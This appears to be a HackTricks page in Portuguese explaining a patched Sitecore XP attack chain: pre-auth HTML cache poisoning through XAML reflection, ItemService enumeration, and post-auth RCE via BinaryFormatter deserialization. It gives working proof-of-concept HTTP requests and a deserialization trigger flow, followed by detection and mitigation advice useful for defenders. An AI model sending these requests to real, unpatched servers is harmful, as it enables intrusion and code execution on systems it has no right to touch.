Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 8 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Esta página resume uma cadeia de ataque prática contra o Sitecore XP 10.4.1 que pivota de um handler XAML pre‑auth para HTML cache poisoning e, através de um fluxo de UI autenticado, culmina em RCE via BinaryFormatter deserialization. As técnicas generalizam-se a versões/componentes semelhantes do Sitecore e fornecem primitivas concretas para testar, detectar e reforçar a segurança.

  • Produto afetado testado: Sitecore XP 10.4.1 rev. 011628
  • Corrigido em: KB1003667, KB1003734 (junho/julho 2025)

Veja também:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

O ponto de entrada é o handler XAML pre‑auth registrado em web.config:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Acessível via:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

A árvore de controles inclui AjaxScriptManager que, em requisições de evento, lê campos controlados pelo atacante e invoca métodos por reflexão nos controles alvo:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Observação-chave: a página XAML inclui uma instância XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de Sitecore.Web.UI.WebControl (uma classe Sitecore), que passa a lista de permissão ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos em Sitecore WebControl.

Método mágico para poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Como podemos direcionar xmlcontrol:GlobalHeader e chamar métodos de Sitecore.Web.UI.WebControl pelo nome, obtemos uma primitiva de escrita arbitrária do HtmlCache pre-auth.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notas:

  • __SOURCE é o clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comumente estável como ctl00_ctl00_ctl05_ctl03 pois é derivado de XAML estático).
  • __PARAMETERS tem o formato Method("arg1","arg2").

O que envenenar: construção da chave de cache

Construção típica da chave HtmlCache usada pelos controles do Sitecore:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Exemplo de targeted poisoning para um sublayout conhecido:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerando itens cacheáveis e dimensões “vary by”

Se o ItemService estiver (mal)exposto anonimamente, você pode enumerar componentes cacheáveis para derivar chaves exatas.

Sonda rápida:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Listar itens e flags cacheáveis:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Procure por campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Os nomes de dispositivos podem ser enumerados via:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Mesmo quando o ItemService se faz passar por uma conta limitada (por exemplo, ServicesAPI) e retorna um array Results vazio, o TotalCount pode ainda refletir Solr hits pré‑ACL. É possível brute‑force item groups/ids com wildcards e observar o TotalCount convergir para mapear conteúdo e dispositivos internos:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink em convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Alcançável via a etapa do pipeline convertToRuntimeHtml ConvertWebControls, que procura por um elemento com id {iframeId}_inner e decodifica base64 + desserializa o conteúdo, então injeta a string resultante no HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Acionar (autenticado, direitos de Content Editor). O diálogo FixHtml chama convertToRuntimeHtml. Fluxo ponta a ponta sem cliques na UI:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Geração de gadgets: use ysoserial.net / YSoNet com BinaryFormatter para produzir um payload base64 que retorna uma string. O conteúdo da string é escrito no HTML pelo ConvertWebControls após os efeitos colaterais da desserialização serem executados.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Cadeia completa

  1. Pre‑auth atacante envenena HtmlCache com HTML arbitrário por invocação reflexiva de WebControl.AddToCache via XAML AjaxScriptManager.
  2. O HTML envenenado entrega JavaScript que conduz um usuário Content Editor autenticado pelo fluxo FixHtml.
  3. A página FixHtml aciona convertToRuntimeHtml → ConvertWebControls, que desserializa base64 controlado pelo atacante via BinaryFormatter → RCE sob a identidade do app pool do Sitecore.

Detecção

  • Pre‑auth XAML: solicitações para /-/xaml/Sitecore.Shell.Xaml.WebControl com __ISEVENT=1, __SOURCE suspeito e __PARAMETERS=AddToCache(...).
  • Sondagem do ItemService: picos de consultas curinga a /sitecore/api/ssc, grande TotalCount com Results vazios.
  • Tentativas de desserialização: EditHtml.aspx seguido de FixHtml.aspx?hdl=... e base64 incomumente grande em campos HTML.

Mitigações

  • Aplique os patches Sitecore KB1003667 e KB1003734; restrinja/desative handlers XAML pre‑auth ou adicione validação estrita; monitore e limite a taxa de /-/xaml/.
  • Remova/substitua o BinaryFormatter; restrinja acesso a convertToRuntimeHtml ou imponha validação forte no servidor para os fluxos de edição de HTML.
  • Proteja /sitecore/api/ssc para loopback ou funções autenticadas; evite padrões de impersonation que provoquem leak de side channels baseados em TotalCount.
  • Aplique MFA/princípio do menor privilégio para usuários Content Editor; revise CSP para reduzir o impacto do JS steering proveniente de cache poisoning.

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks